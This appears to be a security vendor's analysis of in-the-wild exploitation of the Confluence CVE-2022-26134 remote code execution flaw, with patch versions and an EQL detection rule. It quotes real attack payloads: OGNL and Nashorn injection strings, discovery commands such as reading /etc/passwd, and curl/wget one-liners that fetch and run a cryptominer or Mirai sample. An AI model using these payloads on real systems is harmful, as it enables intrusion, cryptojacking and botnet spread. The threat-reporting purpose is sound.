On June 2, Atlassian published an advisory for CVE-2022-26134, a critical zero-day remote code execution vulnerability in Confluence Server and Data Center. The vulnerability currently affects all supported versions of Confluence Server and Confluence Data Center. An unauthenticated remote attacker could exploit this vulnerability to execute code remotely.

Atlassian has released versions 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1 which contain a fix for this issue.

Last year we also observed how attackers were able to compromise Confluence servers by exploiting CVE-2021-26084, which was also a similar vulnerability allowing attackers to remotely execute code without authentication. In that blog post, we also described how the use of OOB interactions was increasing in order to be able to check whether a server is vulnerable or not.

And an OOB interaction was the first interaction that we have detected; we can see how it works:

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("nslookup cadfup19pvceug800010mr5hm99zhhkh8.oast.pro").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

The payload then executes:

nslookup cadfup19pvceug800010mr5hm99zhhkh8.oast.pro

Basically, as we described in our blog post, the attacker is sending a DNS request to the name servers responsible for ‘oast.pro’ (ns1.oast.pro and ns2.oast.pro) asking for the cadfup19pvceug800010mr5hm99zhhkh8.oast.pro DNS resolution in case the exploitation attempt is successful. This is a simple but effective method for scanning the Internet looking for vulnerable Confluence servers.

We have also observed other HTTP requests that were executing other discovery commands in order to check if the Confluence server was vulnerable:

  •  id
  •  whoami
  •  cat /etc/passwd
  •  cat /etc/hosts
  •  hostname
  •  uname -a
  •  cat /etc/issue
  •  df -a
  •  ps -ef
  •  ifconfig -a
  •  crontab -l
  •  netstat -tenp
  •  arp -a
  •  echo yuuki

But there are also other real exploitations like the following ones:


In this HTTP request, the command executed is a one-liner that downloads and execute a remote binary:

curl -o /tmp/li_36 hxxp:// +x /tmp/li_36&&/tmp/li_36

That simply installs an XMRig miner from a custom script:

curl -s -L hxxp://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 45aLx4zvtcFLJeLxQJPu358w2Bge6LJicH9YKrfeDFhTegwEnEkNoit8N3e2HhbvABKWRyF3KGkPyYXAKr25pjzwEJXoNV7
https://confluence/$%7B%28%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%22wget%20http://;chmod%20+x%20ac.config.sh%20&&./ac.config.sh%22%29.getInputStream%28%29,%22utf-8%22%29%29.%[email protected]@getResponse%28%29.setHeader%28%22X-Cmd-Response%22,%23a%29%29%7D/

Another one-liner that downloads and execute a remote binary (a Mirai sample):

wget hxxp://;chmod +x ac.config.sh &&./ac.config.sh

Exploitation analysis

Let’s have a closer look at one of those exploitations; the attacker sent 2 HTTP requests, one checking whether the Confluence server was vulnerable or not, and another exploiting the vulnerability.

HTTP request


In the first HTTP request, the attacker is instantiating the Nashorn Java Engine to just try kill all the ‘/bin/sh’, which could be a way to check if the exploit is going to be successful:

${ new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','pkill -f /bin/sh').start()")}

And then sends a second HTTP request trying to exploit the vulnerability:

${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','(curl -s||wget -q -O-|bash').start()")}

The payload now downloads and executes a shell script from a remote location. Since Confluence does not know where the curl command is, it tries to execute from different locations stated in the user PATH environment variable:

Remote execution

And finally it successfully executes the command:

Successful remote execution

Once the command has been executed, the attacker will install a Kinsing cryptominer, and the events will be the same as the ones we discussed in our blog post about CouchDB CVE-2022-24706 active exploitations.

Detection opportunities

You can use the following EQL rule in order to detect successful exploitations:

process where event = ‘CreateProcess’ and parent_process_path = ‘/opt/atlassian/confluence/jre/bin/java' and process_user_name='confluence'

Detections based on the HTTP requests are not recommended because the payloads can be URI-encoded, making detection very difficult.


Attackers are quickly adding new exploits to their exploit kits. Last week we saw how the CVE-2022-24706 CouchDB vulnerability was used as soon as the first public exploit was published, and this week we observe the same behavior with the CVE-2022-26134 Confluence vulnerability.

Their payloads after successful exploitation haven’t changed, but it is still a valid and efficient method to compromise hundreds or even thousands of vulnerable machines connected to the Internet.

If you want to find out more about the vulnerability, please check the Volexity blog post, whose authors were the first ones detecting the vulnerability in the wild. The only difference is that usually Confluence runs as the confluence user and not as root user, so the attacker won’t be able to be administrator in the compromised hosts and it will be more difficult to drop any webshells.

If you are running Confluence in your organization, please check the advisory web page in order to get the latest information.